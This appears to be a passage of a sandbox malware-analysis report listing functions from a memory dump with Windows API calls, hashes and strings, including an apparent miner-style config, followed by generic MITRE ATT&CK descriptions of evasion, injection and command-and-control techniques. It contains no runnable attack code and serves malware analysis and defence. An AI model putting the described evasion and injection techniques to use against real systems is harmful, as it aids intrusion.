Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 9fbdef50defe98e1faf62f9ee101e4751160edebedb9a579ecb521bca52b463b
Instruction ID: cb91b8917d889d7d9b399931ee5f3235c3503f3ea44e1342501977fd57c204e4
Opcode Fuzzy Hash: 9fbdef50defe98e1faf62f9ee101e4751160edebedb9a579ecb521bca52b463b
Instruction Fuzzy Hash: B081B426E18603DAF7109B75A4902BD2671FB44B94F444239DE0EAF7DADE3EB441DB20

Function 00007FF666855060 Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

APIs

GetConsoleScreenBufferInfo.KERNEL32 ref: 00007FF6668550C0
GetLastError.KERNEL32 ref: 00007FF6668550CA
SetConsoleCursorPosition.KERNEL32 ref: 00007FF666855192
GetLastError.KERNEL32 ref: 00007FF66685519C
GetLastError.KERNEL32 ref: 00007FF6668551AB

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: ErrorLast$Console$BufferCursorInfoPositionScreen
String ID:
API String ID: 2684649943-0
Opcode ID: 1a56b470abdf015748045a628e876031dee8dea33191b8b290c9c4ecd03234fd
Instruction ID: b99961762fea5a314302437a359fa8fe8d13d3e194d691eeed6e9d54c45f0b90
Opcode Fuzzy Hash: 1a56b470abdf015748045a628e876031dee8dea33191b8b290c9c4ecd03234fd
Instruction Fuzzy Hash: E141B132A08652C6E3A48F34B84053E67B1FB94B54F104238DA5ECE695EF3EE844CF11

Function 00007FF666806BE0 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF666806C03
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF666806C26
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF666806C53
std::_Facet_Register.LIBCPMT ref: 00007FF666806D0E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF666806D2B

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: a148d50179ebb41e506ace6f67050cee89f07285b10eec7da1148d351dcbf46c
Instruction ID: 4c951855d314654a0659c82b6dcbea0cf2b9f614917b36ace2af9838bb54b0f7
Opcode Fuzzy Hash: a148d50179ebb41e506ace6f67050cee89f07285b10eec7da1148d351dcbf46c
Instruction Fuzzy Hash: 3041B322B0AA42C1EE259F25F4403B96771EB94B94F180539CA5D8F395DF3EE4D1CBA0

Function 00007FF6668A2F2C Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6668A2F50
CreateThread.KERNEL32 ref: 00007FF6668A2F91
GetLastError.KERNEL32 ref: 00007FF6668A2F9F
CloseHandle.KERNEL32 ref: 00007FF6668A2FBC
FreeLibrary.KERNEL32 ref: 00007FF6668A2FCB

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 6856e9635178e52043444bb0cee068f7815e2bcb4c76d481e737c4312f7e6a59
Instruction ID: a71913537334c37a6674b590888afc084924a0a7a55ede29948110fd7edafd55
Opcode Fuzzy Hash: 6856e9635178e52043444bb0cee068f7815e2bcb4c76d481e737c4312f7e6a59
Instruction Fuzzy Hash: 6D215E25A09742C2EE24DBB6B42017962B1AF94B84F08453DEE4D8FB95DF7EE4418E60

Function 00007FF6667F4840 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 208COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF6667F484B

Part of subcall function 00007FF66687A014: _CxxThrowException.LIBVCRUNTIME ref: 00007FF66687A031

Strings

string too long, xrefs: 00007FF6667F4844
{ "api": { "id": null, "worker-id": null }, "http": { "enabled": false, "host": "127.0.0.1", "port": 0, "access-token": null, "restricted": true }, "autosave": false, "version": 1, xrefs: 00007FF6667F4A36
config.json, xrefs: 00007FF6667F494A

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: ExceptionThrowXinvalid_argumentstd::_
String ID: { "api": { "id": null, "worker-id": null }, "http": { "enabled": false, "host": "127.0.0.1", "port": 0, "access-token": null, "restricted": true }, "autosave": false, "version": 1$config.json$string too long
API String ID: 51951774-2348823907
Opcode ID: 98d2aaf723490a2b6be68f85017ebf3b59db16153344897c8dff12668f9beca8
Instruction ID: d5c1137fb2f5e2f0464f8513ce302fb59e91dcf40bd5b3575b7704c5cb37a328
Opcode Fuzzy Hash: 98d2aaf723490a2b6be68f85017ebf3b59db16153344897c8dff12668f9beca8
Instruction Fuzzy Hash: 68916E32A18B81C6EB00DB21E8502AD7770FB84794F104235EA9D5FBAADF7DE451CB50

Function 00007FF6668AE628 Relevance: 6.1, APIs: 4, Instructions: 117pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF6668AE65B
GetFileInformationByHandle.KERNEL32 ref: 00007FF6668AE6B8
GetLastError.KERNEL32 ref: 00007FF6668AE749
PeekNamedPipe.KERNEL32 ref: 00007FF6668AE795

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: d7152934c823c6dc867086976e7458bad606c55af6db8fb2858cf7173a15261d
Instruction ID: edf93fdbd5f5bbf32c3ca61f7d38a3287a94d9c1b7c4cb7446abe2e339d61fde
Opcode Fuzzy Hash: d7152934c823c6dc867086976e7458bad606c55af6db8fb2858cf7173a15261d
Instruction Fuzzy Hash: B2417F26A08682CAFB14DFB1E4543BD23B1AB44B58F145839DE0D8F68ADF39E441DB21

Function 00007FF666806830 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

_CxxThrowException.LIBVCRUNTIME ref: 00007FF666806946

Strings

ios_base::eofbit set, xrefs: 00007FF666806915
ios_base::badbit set, xrefs: 00007FF666806902, 00007FF666806950
ios_base::failbit set, xrefs: 00007FF66680690E

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: ExceptionThrow
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 432778473-1866435925
Opcode ID: 10244bc94a90c66efb1d24f24388692f2a2eb849f7308438768741ae162aa17f
Instruction ID: 068334a408432bb947d2da0a4be0f49ec03c733dfa3153c70e0c5301e154dcc1
Opcode Fuzzy Hash: 10244bc94a90c66efb1d24f24388692f2a2eb849f7308438768741ae162aa17f
Instruction Fuzzy Hash: 26417262706A05C1EF14CB29E09027967B0EF85F94B148A39CE1E8F7A5CF2AD486C750

Function 00007FF666806770 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 53COMMON

Download Yara Rule

APIs

_CxxThrowException.LIBVCRUNTIME ref: 00007FF66680682A

Strings

ios_base::eofbit set, xrefs: 00007FF6668067F9
ios_base::badbit set, xrefs: 00007FF666806770, 00007FF6668067E7
ios_base::failbit set, xrefs: 00007FF6668067F2

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: ExceptionThrow
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 432778473-1866435925
Opcode ID: 607b2120433ef4de28e488e754b1362da0b75201755adb83b9fc445038016ce1
Instruction ID: 64739dd43c317747ae20a0aa93b87d3684aab6e8460e25f422d0440d7923d9a2
Opcode Fuzzy Hash: 607b2120433ef4de28e488e754b1362da0b75201755adb83b9fc445038016ce1
Instruction Fuzzy Hash: 9011D262715506D2EF14CB25E4413B92370EF40B94F584639DA2DCF6E1DF2ED586CB50

Function 00007FF6668D76D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

_Mtx_unlock.LIBCPMT ref: 00007FF6668D777C
std::_Xinvalid_argument.LIBCPMT ref: 00007FF6668D77C1

Strings

list<T> too long, xrefs: 00007FF6668D77BA

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: Mtx_unlockXinvalid_argumentstd::_
String ID: list<T> too long
API String ID: 1877124698-4027344264
Opcode ID: 100d24b64a74a4d061342cecb8304e5915dd95a9b4633ae6774ac6f7688d770c
Instruction ID: a16fce500c2cf3c24e091cdba5f7658a292b0fde6815594641b3249807591ee8
Opcode Fuzzy Hash: 100d24b64a74a4d061342cecb8304e5915dd95a9b4633ae6774ac6f7688d770c
Instruction Fuzzy Hash: FF319D32B05B45C2DA14DB22F84006DA7B4EB84FD0B19853ADB5D8F796DE39E4618B10

Function 00007FF6668A7694 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6668A77AB
GetLastError.KERNEL32 ref: 00007FF6668A77CD

Strings

U, xrefs: 00007FF6668A7757

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4df6125ddac090032bc47f49e912cee45fa4f4152083b8ef632749628d720239
Instruction ID: ef3a4ef7d0c7aa682252cfc91eceddde43f6edff2339ca9c2c2ee29dce4eff46
Opcode Fuzzy Hash: 4df6125ddac090032bc47f49e912cee45fa4f4152083b8ef632749628d720239
Instruction Fuzzy Hash: F4419122A18A42C6DB208F25F4443A967B0FB98B94F454135EE4D8F798EF3DE441CB50

Function 00007FF66685C110 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PostQueuedCompletionStatus.KERNEL32 ref: 00007FF66685C164

Strings

PostQueuedCompletionStatus, xrefs: 00007FF66685C17D

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: CompletionPostQueuedStatus
String ID: PostQueuedCompletionStatus
API String ID: 2005739868-3446536168
Opcode ID: 89ba497bd3ad5b465eaccd88f137a897496232377865f7a3332fb64b6dc2508a
Instruction ID: d330b6a98557371bc0dcdf1029eb0aed963b6c5a9b18c7bbc098872eed435b1e
Opcode Fuzzy Hash: 89ba497bd3ad5b465eaccd88f137a897496232377865f7a3332fb64b6dc2508a
Instruction Fuzzy Hash: 9F31D532A05786C2DB858B29E4842BC23B1FB48F44F545139DA1D9F391DF3AE4A6CF20

Function 00007FF666853367 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

UnregisterWaitEx.KERNEL32 ref: 00007FF666853398

Strings

UnregisterWaitEx, xrefs: 00007FF666853498

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: UnregisterWait
String ID: UnregisterWaitEx
API String ID: 2974071796-3194662728
Opcode ID: f727e2bd7a2a7f2cd08a6596ecaa4b41562e51670c42d74c1d1455703c212ff1
Instruction ID: 00a9915b4be89b3e66e2f0d530883f990e81067786f0b1af22c72136bbf95c87
Opcode Fuzzy Hash: f727e2bd7a2a7f2cd08a6596ecaa4b41562e51670c42d74c1d1455703c212ff1
Instruction Fuzzy Hash: 1B019632618582C7E7614F39F4402783372EB15B74F440334D97A8E6D5DE29EC918F60

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
